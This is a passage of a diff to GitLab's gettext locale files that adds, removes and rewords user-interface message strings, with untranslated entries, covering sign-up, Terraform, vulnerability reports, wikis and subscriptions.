@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/fi_FI/gitlab.po b/locale/fi_FI/gitlab.po
index b8cc16d8bba..7353b0fbce3 100644
--- a/locale/fi_FI/gitlab.po
+++ b/locale/fi_FI/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: fi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:47\n"
+"PO-Revision-Date: 2020-12-03 08:16\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
